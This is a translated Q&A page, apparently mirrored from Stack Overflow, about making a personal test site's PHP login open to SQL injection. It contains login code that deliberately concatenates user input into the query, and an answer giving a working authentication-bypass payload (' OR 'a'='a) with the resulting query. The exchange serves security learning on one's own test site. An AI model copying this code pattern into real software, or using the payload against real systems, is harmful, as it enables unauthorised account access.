簡體   English   中英

如何使我的測試網站容易受到SQL注入的攻擊?

[英]How do I make my test website vulnerable to SQL injection?

這是我的login.php代碼的片段:

if (isset($_POST['login'])){
    $username = $_POST['user'];
    $password = $_POST['pass'];
    $query = mysqli_query($con, "SELECT * FROM users WHERE password='$password' and username='$username'");
    $row = mysqli_fetch_array($query);
    if ($row > 0) {         
        $_SESSION['user_id']=$row['user_id'];
        header('location:home.php');    
    } else {
        echo 'Invalid Username and Password Combination';
    }
}
?> 

登錄有效,但是當我嘗試通過輸入'或'='繞過身份驗證/登錄時,將返回此錯誤

Warning: mysqli_fetch_array() expects parameter 1 to be mysqli_result, boolean given in C:\x\x\x\x.php on line 32

當我輸入數據庫中的有效用戶時,登錄有效:示例

Username: admin
Password: admin

我想做的是通過輸入(SQL注入)繞過登錄

Username: admin  
Password: **' ANYTHING ''='**

但是然后輸入' ANYTHING ''='返回上述錯誤。

之所以收到該警告,是因為您注入的值導致查詢失敗,這可能是由於MySQL語法錯誤所致。

請嘗試以下值:

$password = "' OR 'a'='a";
$username = "admin";

這將給出SQL字符串:

SELECT * FROM users WHERE password='' OR 'a'='a' and username='admin'

哪個應該有效並返回管理員用戶記錄。

暫無
暫無

聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.

 
粵ICP備18138465號  © 2020-2024 STACKOOM.COM